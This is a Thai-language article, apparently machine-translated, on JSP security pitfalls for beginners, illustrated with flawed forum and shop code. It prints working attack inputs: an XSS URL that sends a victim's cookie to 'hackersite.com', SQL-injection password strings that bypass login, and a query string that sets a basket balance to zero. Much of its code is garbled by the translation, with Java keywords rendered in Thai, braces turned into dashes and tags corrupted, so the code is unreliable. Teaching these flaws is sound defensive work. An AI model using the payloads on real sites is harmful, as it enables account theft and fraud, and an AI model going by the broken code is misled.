Java Server Page (JSP) กำลังได้รับความนิยมมากขึ้นเรื่อยๆ ในฐานะเทคโนโลยีสำหรับการสร้างเว็บเพจแบบไดนามิก JSP, ASP และ PHP มีกลไกการทำงานที่แตกต่างกัน โดยทั่วไปแล้ว หน้า JSP จะถูกคอมไพล์มากกว่าการตีความเมื่อดำเนินการ การเรียกไฟล์ JSP ครั้งแรกนั้นเป็นกระบวนการคอมไพล์ลงใน Servlet เมื่อเบราว์เซอร์ร้องขอไฟล์ JSP นี้จากเซิร์ฟเวอร์ เซิร์ฟเวอร์จะตรวจสอบว่าไฟล์ JSP มีการเปลี่ยนแปลงตั้งแต่การคอมไพล์ครั้งล่าสุดหรือไม่ หากไม่มีการเปลี่ยนแปลง Servlet จะถูกดำเนินการโดยตรงโดยไม่ต้องคอมไพล์ใหม่ ด้วยวิธีนี้ ประสิทธิภาพจะมีนัยสำคัญ ดีขึ้น
วันนี้ฉันจะดูความปลอดภัยของ JSP จากมุมมองของการเขียนโปรแกรมสคริปต์กับคุณ ความเสี่ยงด้านความปลอดภัยเช่นการเปิดเผยซอร์สโค้ดนั้นอยู่นอกเหนือขอบเขตของบทความนี้ วัตถุประสงค์หลักของการเขียนบทความนี้คือเพื่อเตือนเพื่อนที่ยังใหม่กับการเขียนโปรแกรม JSP ให้ปลูกฝังความตระหนักถึงการเขียนโปรแกรมที่ปลอดภัยตั้งแต่ต้น เพื่อไม่ให้เกิดข้อผิดพลาดที่ไม่ควรทำ และเพื่อหลีกเลี่ยงการสูญเสียที่หลีกเลี่ยงได้ นอกจากนี้ฉันยังเป็นมือใหม่หากคุณมีข้อผิดพลาดหรือความคิดเห็นอื่น ๆ โปรดโพสต์และแจ้งให้เราทราบ
1. การรับรองความถูกต้องแบบหลวม ๆ - ข้อผิดพลาดระดับต่ำ
ใน Yiyang Forum v1.12 เวอร์ชันแก้ไข
user_manager.jsp เป็นหน้าที่จัดการโดยผู้ใช้ ผู้เขียนทราบถึงความไวของมันและเพิ่มการล็อค:
if ((session.getValue( "UserName" )==null)││(session.getValue("UserClass")==null)││(! session.getValue("UserClass").equals("ผู้ดูแลระบบ")))
-
response.sendRedirect("err.jsp?id=14");
กลับ;
}
หากคุณต้องการดูและแก้ไขข้อมูลของผู้ใช้ คุณต้องใช้ไฟล์ modifieduser_manager.jsp ส่งโดยผู้ดูแลระบบ
http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51
คือการดูและแก้ไขข้อมูลของผู้ใช้ด้วย ID 51 (ID ผู้ใช้เริ่มต้นของผู้ดูแลระบบคือ 51) อย่างไรก็ตาม เอกสารสำคัญดังกล่าวขาดการรับรองความถูกต้อง ผู้ใช้ทั่วไป (รวมถึงนักท่องเที่ยว) สามารถส่งคำขอข้างต้นได้โดยตรงและมีมุมมองที่ชัดเจน (รหัสผ่านจะถูกจัดเก็บและแสดงเป็นข้อความที่ชัดเจนด้วย) modifieduser_manage.jsp ยังเปิดอยู่ จนกว่าผู้ใช้ที่เป็นอันตรายจะดำเนินการอัปเดตข้อมูลให้เสร็จสิ้นและเปลี่ยนเส้นทางไปยัง user_manager.jsp ว่าเขาจะเห็นเพจที่แสดงข้อผิดพลาดอย่างช้าๆ แน่นอนว่าการล็อคประตูเพียงอย่างเดียวนั้นไม่เพียงพอ เมื่อตั้งโปรแกรม คุณต้องประสบปัญหาในการเพิ่มการตรวจสอบตัวตนในทุกที่ที่ควรเพิ่มการตรวจสอบตัวตน
2. รักษาทางเข้าของ JavaBean
แกนหลักของเทคโนโลยีส่วนประกอบ JSP คือส่วนประกอบ Java ที่เรียกว่า bean ในโปรแกรม การควบคุมลอจิกและการดำเนินการฐานข้อมูลสามารถวางไว้ในคอมโพเนนต์ Javabeans จากนั้นเรียกใช้ในไฟล์ JSP ซึ่งสามารถเพิ่มความชัดเจนของโปรแกรมและการนำโปรแกรมกลับมาใช้ใหม่ได้ เมื่อเปรียบเทียบกับเพจ ASP หรือ PHP แบบดั้งเดิม เพจ JSP นั้นง่ายมาก เนื่องจากกระบวนการประมวลผลเพจไดนามิกจำนวนมากสามารถห่อหุ้มไว้ใน JavaBeans ได้
หากต้องการเปลี่ยนคุณสมบัติ JavaBean ให้ใช้แท็ก "<jsp:setProperty>"
รหัสต่อไปนี้เป็นส่วนหนึ่งของซอร์สโค้ดของระบบช็อปปิ้งอิเล็กทรอนิกส์ในจินตนาการ ไฟล์นี้ใช้เพื่อแสดงข้อมูลในกล่องช็อปปิ้งของผู้ใช้ และใช้ checkout.jsp สำหรับการชำระเงิน
<jsp:useBean id="myBasket" class="BasketBean">
<jsp:setProperty name="myBasket" property="*"/>
<jsp:useBean>
<html>
<head><title>ตะกร้าของคุณ</title></head>
<ร่างกาย>
<หน้า>
คุณได้เพิ่มรายการแล้ว
<jsp::getProperty name="myBasket" property="newItem"/>
ไปที่ตะกร้าของคุณ
<br/>
ยอดรวมของคุณคือ $
<jsp::getProperty name="myBasket" property="balance"/>
ดำเนินการต่อไปที่ <a href="checkout.jsp"">ชำระเงิน </a>
คุณสังเกตเห็น property="*" หรือไม่? สิ่งนี้บ่งชี้ว่าค่าของตัวแปรทั้งหมดที่ผู้ใช้ป้อนในหน้า JSP ที่มองเห็นได้หรือส่งโดยตรงผ่านสตริงการสืบค้นจะถูกเก็บไว้ในคุณสมบัติ bean ที่ตรงกัน
โดยทั่วไปแล้ว ผู้ใช้ส่งคำขอเช่นนี้:
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342
แต่แล้วผู้ใช้ที่เกเรล่ะ พวกเขาอาจส่ง:
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0
ด้วยวิธีนี้ ข้อมูลของ balance=0 จะถูกจัดเก็บไว้ใน JavaBean เมื่อพวกเขาคลิก "chekout" เพื่อชำระเงิน ค่าธรรมเนียมจะได้รับการยกเว้น
นี่เป็นปัญหาด้านความปลอดภัยแบบเดียวกันที่เกิดจากตัวแปรส่วนกลางใน PHP ดูได้จากสิ่งนี้: "property="*"" ต้องใช้ด้วยความระมัดระวัง!
3. การโจมตีด้วยสคริปต์ข้ามไซต์
(Cross Site Scripting) การโจมตีด้วยสคริปต์ข้ามไซต์ (Cross Site Scripting) หมายถึงการแทรกสคริปต์ JavaScript, VBScript, ActiveX, HTML หรือ Flash ที่เป็นอันตรายด้วยตนเองลงในโค้ด HTML ของเว็บเพจระยะไกลเพื่อขโมยการเรียกดูสิ่งนี้ หน้าความเป็นส่วนตัวของผู้ใช้ เปลี่ยนแปลงการตั้งค่าผู้ใช้ และทำลายข้อมูลผู้ใช้ การโจมตีด้วยสคริปต์ข้ามไซต์จะไม่ส่งผลกระทบต่อการทำงานของเซิร์ฟเวอร์และโปรแกรมเว็บในกรณีส่วนใหญ่ แต่การโจมตีดังกล่าวก่อให้เกิดภัยคุกคามร้ายแรงต่อความปลอดภัยของไคลเอ็นต์
ยกตัวอย่าง Acai Forum (เบต้า-1) ของ Fangdong.com เป็นตัวอย่างที่ง่ายที่สุด เมื่อเราส่ง
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script><alert(document.cookie)</script>
กล่องโต้ตอบที่มีข้อมูลคุกกี้ของเราเองจะปรากฏขึ้น ส่ง
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.163.com'</script>
เพื่อเปลี่ยนเส้นทางไปยัง NetEase
เนื่องจากสคริปต์ไม่ได้ทำการเข้ารหัสหรือการกรองโค้ดที่เป็นอันตรายเมื่อส่งคืนค่าของตัวแปร "ชื่อ" ไปยังไคลเอนต์ เมื่อผู้ใช้เข้าถึงดาต้าลิงค์ที่ฝังตัวแปร "ชื่อ" ที่เป็นอันตราย โค้ดสคริปต์จะถูกดำเนินการบน เบราว์เซอร์ของผู้ใช้ ซึ่งอาจก่อให้เกิดผลที่ตามมา เช่น ความเป็นส่วนตัวของผู้ใช้รั่วไหล ตัวอย่างเช่น ลิงก์ต่อไปนี้:
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.hackersite.com/xxx.xxx?' +document .cookie</script>
< xxx.xxx ใช้เพื่อรวบรวมพารามิเตอร์ต่อไปนี้ และพารามิเตอร์ที่นี่ระบุ document.cookie ซึ่งเป็นคุกกี้ของผู้ใช้ที่เข้าถึงลิงก์นี้ ในโลกของ ASP หลายคนเชี่ยวชาญเทคนิคการขโมยคุกกี้แล้ว ใน JSP การอ่านคุกกี้ไม่ใช่เรื่องยาก แน่นอนว่า Cross-site scripting ไม่ได้จำกัดอยู่เพียงฟังก์ชันการขโมยคุกกี้เท่านั้น ฉันเชื่อว่าทุกคนมีความเข้าใจในเรื่องนี้ ดังนั้นฉันจะไม่ลงรายละเอียดที่นี่
อินพุตและเอาท์พุตทั้งหมดของไดนามิกเพจควรได้รับการเข้ารหัสเพื่อหลีกเลี่ยงการโจมตีด้วยสคริปต์ข้ามไซต์ในวงกว้าง ขออภัย การเข้ารหัสข้อมูลที่ไม่น่าเชื่อถือทั้งหมดต้องใช้ทรัพยากรมาก และอาจมีผลกระทบต่อประสิทธิภาพการทำงานบนเว็บเซิร์ฟเวอร์ วิธีการทั่วไปคือการกรองข้อมูลที่ป้อน ตัวอย่างเช่น รหัสต่อไปนี้จะแทนที่อักขระที่เป็นอันตราย:
<% String message = request.getParameter("message");
ข้อความ = message.replace ('<','_');
ข้อความ = message.replace ('>','_');
ข้อความ = message.replace ('"','_');
ข้อความ = message.replace (''','_');
message = message.replace ('%','_'); [รีโพสต์จาก:51item.net]
ข้อความ = message.replace (';','_');
ข้อความ = message.replace ('(','_');
ข้อความ = message.replace (')','_');
ข้อความ = message.replace ('&','_');
message = message.replace ('+','_');
วิธีเชิงบวกที่มากขึ้นคือการใช้นิพจน์ทั่วไปเพื่ออนุญาตเฉพาะอินพุตของอักขระที่ระบุเท่านั้น:
public boolean isValidInput(String str)
-
if(str.matches("[a-z0-9]+")) กลับ จริง;
มิฉะนั้นจะส่งคืนเท็จ
}
4. จำไว้เสมอ
เมื่อสอนผู้เริ่มต้น หนังสือการเขียนโปรแกรมทั่วไปไม่ได้ใส่ใจที่จะปล่อยให้พวกเขาพัฒนานิสัยการเขียนโปรแกรมที่ปลอดภัยตั้งแต่เริ่มต้น "ความคิดและแนวทางปฏิบัติด้านการเขียนโปรแกรม JSP" อันโด่งดังสาธิตให้ผู้เริ่มต้นเห็นถึงวิธีเขียนระบบเข้าสู่ระบบด้วยฐานข้อมูล (ฐานข้อมูลคือ MySQL):
Statement stmt = conn.createStatement();
String checkUser = "select * จากการเข้าสู่ระบบโดยที่ชื่อผู้ใช้ = '" + ชื่อผู้ใช้ + "' และ userpassword = '" + userPassword + "'";
ResultSet rs = stmt.executeQuery (ตรวจสอบผู้ใช้);
ถ้า(rs.ถัดไป())
response.sendRedirect("SuccessLogin.jsp");
อื่น
response.sendRedirect("FailureLogin.jsp");
ซึ่งช่วยให้ผู้ที่เชื่อในหนังสือเล่มนี้สามารถใช้รหัสเข้าสู่ระบบ "holey" โดยกำเนิดได้เป็นเวลานาน หากมีผู้ใช้ชื่อ "แจ็ค" ในฐานข้อมูล แสดงว่ามีวิธีเข้าสู่ระบบอย่างน้อยดังต่อไปนี้โดยไม่ต้องรู้รหัสผ่าน:
ชื่อผู้ใช้: แจ็ค
รหัสผ่าน: ' หรือ 'a'='a
ชื่อผู้ใช้: แจ็ค
รหัสผ่าน: ' หรือ 1=1/*
ชื่อผู้ใช้: jack' หรือ 1=1/*
รหัสผ่าน: (มี)
lybbs (Lingyun Forum) เวอร์ชัน 2.9.Server ตรวจสอบข้อมูลที่ส่งมาเพื่อเข้าสู่ระบบใน LogInOut.java ดังนี้:
ถ้า(s.equals("") ││ s1.equals(""))
โยน UserException ใหม่ ("ชื่อผู้ใช้หรือรหัสผ่านไม่สามารถเว้นว่างได้");
if(s.indexOf("'") != -1 ││ s.indexOf(""") != -1 ││ s.indexOf(",") != -1 ││ s.indexOf(" \") != -1)
Throw new UserException("ชื่อผู้ใช้ไม่สามารถมีอักขระที่ผิดกฎหมาย เช่น ' " \ ฯลฯ");
if(s1.indexOf("'") != -1 ││ s1.indexOf(""") != -1 ││ s1.indexOf("*") != -1 ││ s1.indexOf(" \") != -1)
Throw new UserException("รหัสผ่านไม่สามารถมีอักขระที่ผิดกฎหมายเช่น ' " \ *.");
ถ้า(s.startsWith(" ") ││ s1.startsWith(" "))
โยน UserException ใหม่ ("ช่องว่างไม่สามารถใช้ในชื่อผู้ใช้หรือรหัสผ่านได้");
แต่ฉันไม่รู้ว่าทำไมเขาถึงกรองเครื่องหมายดอกจันในรหัสผ่านเท่านั้นไม่ใช่ชื่อผู้ใช้ นอกจากนี้ ดูเหมือนว่าเครื่องหมายทับควรรวมอยู่ใน "บัญชีดำ" ด้วย ฉันยังคิดว่ามันง่ายกว่าถ้าใช้นิพจน์ทั่วไปเพื่ออนุญาตเฉพาะอักขระภายในช่วงที่ระบุ
คำเตือนที่นี่: อย่าคิดว่า "ความปลอดภัย" ของระบบฐานข้อมูลบางระบบสามารถต้านทานการโจมตีทั้งหมดได้อย่างมีประสิทธิภาพ บทความของ Pinkeyes "ตัวอย่างการฉีด PHP" สอนบทเรียนให้กับผู้ที่ต้องใช้ "magic_quotes_gpc = On" ในไฟล์คอนฟิกูเรชัน PHP
5. อันตรายที่ซ่อนอยู่จาก String object
แพลตฟอร์ม Java ทำให้การเขียนโปรแกรมความปลอดภัยสะดวกยิ่งขึ้น ไม่มีพอยน์เตอร์ใน Java ซึ่งหมายความว่าโปรแกรม Java ไม่สามารถระบุตำแหน่งหน่วยความจำใดๆ ในพื้นที่ที่อยู่เช่น C ได้อีกต่อไป ปัญหาด้านความปลอดภัยจะถูกตรวจสอบเมื่อไฟล์ JSP ถูกคอมไพล์เป็นไฟล์ .class ตัวอย่างเช่น ความพยายามในการเข้าถึงองค์ประกอบอาร์เรย์ที่เกินขนาดอาร์เรย์จะถูกปฏิเสธ ซึ่งส่วนใหญ่จะหลีกเลี่ยงการโจมตีบัฟเฟอร์ล้น อย่างไรก็ตาม วัตถุ String จะนำความเสี่ยงด้านความปลอดภัยมาให้เรา หากรหัสผ่านถูกเก็บไว้ในอ็อบเจ็กต์ Java String รหัสผ่านนั้นจะยังคงอยู่ในหน่วยความจำจนกว่าจะถูกรวบรวมแบบขยะหรือกระบวนการยุติลง แม้ว่าหลังจากการรวบรวมขยะแล้ว มันก็จะยังคงอยู่ในฮีปหน่วยความจำว่างจนกว่าพื้นที่หน่วยความจำจะถูกนำมาใช้ซ้ำ ยิ่งสตริงรหัสผ่านอยู่ในหน่วยความจำนานเท่าใด ความเสี่ยงในการดักฟังก็จะยิ่งมากขึ้นเท่านั้น ที่แย่ไปกว่านั้นคือ หากหน่วยความจำจริงลดลง ระบบปฏิบัติการจะเพจรหัสผ่านนี้ไปยังพื้นที่สว็อปของดิสก์ ดังนั้นจึงเสี่ยงต่อการถูกดักฟังการโจมตีจากบล็อกดิสก์ เพื่อลดความเป็นไปได้ (แต่ไม่กำจัด) ความเป็นไปได้ของการประนีประนอมดังกล่าว คุณควรจัดเก็บรหัสผ่านไว้ในอาร์เรย์ถ่านและเป็นศูนย์หลังการใช้งาน (สตริงไม่เปลี่ยนรูปและไม่สามารถเป็นศูนย์ได้)
6. การศึกษาเบื้องต้นเกี่ยวกับความปลอดภัยของด้าย
"สิ่งที่ JAVA ทำได้ JSP ทำได้" ต่างจากภาษาสคริปต์เช่น ASP และ PHP โดยค่าเริ่มต้น JSP จะถูกดำเนินการในลักษณะมัลติเธรด การดำเนินการในลักษณะมัลติเธรดสามารถลดความต้องการทรัพยากรบนระบบได้อย่างมาก และปรับปรุงการทำงานพร้อมกันและเวลาตอบสนองของระบบ เธรดเป็นพาธการดำเนินการที่เป็นอิสระและเกิดขึ้นพร้อมกันในโปรแกรม แต่ละเธรดมีสแต็กของตัวเอง ตัวนับโปรแกรมของตัวเอง และตัวแปรในเครื่องของตัวเอง แม้ว่าการดำเนินการส่วนใหญ่ในแอปพลิเคชันแบบมัลติเธรดสามารถดำเนินการแบบขนานได้ แต่ก็มีการดำเนินการบางอย่าง เช่น การอัพเดตแฟล็กโกลบอลหรือการประมวลผลไฟล์ที่แชร์ ที่ไม่สามารถดำเนินการแบบขนานได้ หากการซิงโครไนซ์เธรดทำได้ไม่ดี ปัญหาจะเกิดขึ้นระหว่างการเข้าถึงพร้อมกันจำนวนมากโดยปราศจาก "การมีส่วนร่วมอย่างกระตือรือร้น" ของผู้ใช้ที่เป็นอันตราย วิธีแก้ปัญหาที่ง่ายที่สุดคือการเพิ่มคำสั่ง <%@ page isThreadSafe="false" %> ไปยังไฟล์ JSP ที่เกี่ยวข้องเพื่อให้ดำเนินการในลักษณะเธรดเดียว ในขณะนี้ คำร้องขอของไคลเอ็นต์ทั้งหมดจะถูกดำเนินการในลักษณะอนุกรม สิ่งนี้สามารถลดประสิทธิภาพของระบบอย่างรุนแรง เรายังคงสามารถปล่อยให้ไฟล์ JSP ดำเนินการในลักษณะมัลติเธรดและซิงโครไนซ์เธรดโดยการล็อคฟังก์ชัน ฟังก์ชั่นบวกกับคำสำคัญที่ซิงโครไนซ์จะได้รับการล็อค ดูตัวอย่างต่อไปนี้:
คลาสสาธารณะ MyClass{
อินท์เอ;
public Init() {//เมธอดนี้สามารถเรียกได้หลายเธรดพร้อมกัน a = 0;
-
ชุดโมฆะการซิงโครไนซ์สาธารณะ () {// สองเธรดไม่สามารถเรียกใช้เมธอดนี้พร้อมกันได้ถ้า (a> 5) {
ก=ก-5;
-
-
}
แต่สิ่งนี้จะยังคงมีผลกระทบต่อประสิทธิภาพของระบบอยู่บ้าง วิธีแก้ปัญหาที่ดีกว่าคือการใช้ตัวแปรภายในเครื่องแทนตัวแปรอินสแตนซ์ เนื่องจากตัวแปรอินสแตนซ์ได้รับการจัดสรรในฮีปและแชร์โดยเธรดทั้งหมดที่เป็นของอินสแตนซ์ ตัวแปรเหล่านั้นจึงไม่ปลอดภัยสำหรับเธรด ในขณะที่ตัวแปรภายในเครื่องได้รับการจัดสรรในสแต็กเนื่องจากแต่ละเธรดมีพื้นที่สแต็กของตัวเอง ดังนั้นจึงปลอดภัยสำหรับเธรด . ตัวอย่างเช่น รหัสสำหรับการเพิ่มเพื่อนในฟอรัม Lingyun:
public void addFriend(int i, String s, String s1)
พ่น DBConnectException
-
พยายาม
-
ถ้า……
อื่น
-
DBConnect dbconnect = new DBConnect("insert into friend (authorid,friendname) ค่า (?,?)");
dbconnect.setInt(1, i);
dbconnect.setString(2, s);
dbconnect.executeUpdate();
dbconnect.ปิด();
dbconnect = โมฆะ;
-
-
จับ (ข้อยกเว้นข้อยกเว้น)
-
โยน DBConnectException ใหม่ (ข้อยกเว้น.getMessage());
-
}
ต่อไปนี้คือการเรียก:
friendName=ParameterUtils.getString(request,"friendname");
ถ้า (action.equals ("adduser")) {
forumFriend.addFriend(Integer.parseInt(cookieID),ชื่อเพื่อน,cookieName);
errorInfo=forumFriend.getErrorInfo();
}
หากใช้ตัวแปรอินสแตนซ์ ตัวแปรอินสแตนซ์จะถูกแชร์โดยเธรดทั้งหมดของอินสแตนซ์ เป็นไปได้ว่าหลังจากที่ผู้ใช้ A ผ่านพารามิเตอร์บางตัว เธรดของเขาจะเปลี่ยนเป็นสถานะสลีป และพารามิเตอร์ได้รับการแก้ไขโดยไม่ได้ตั้งใจโดยผู้ใช้ B ทำให้เกิดปรากฏการณ์เพื่อนไม่ตรงกัน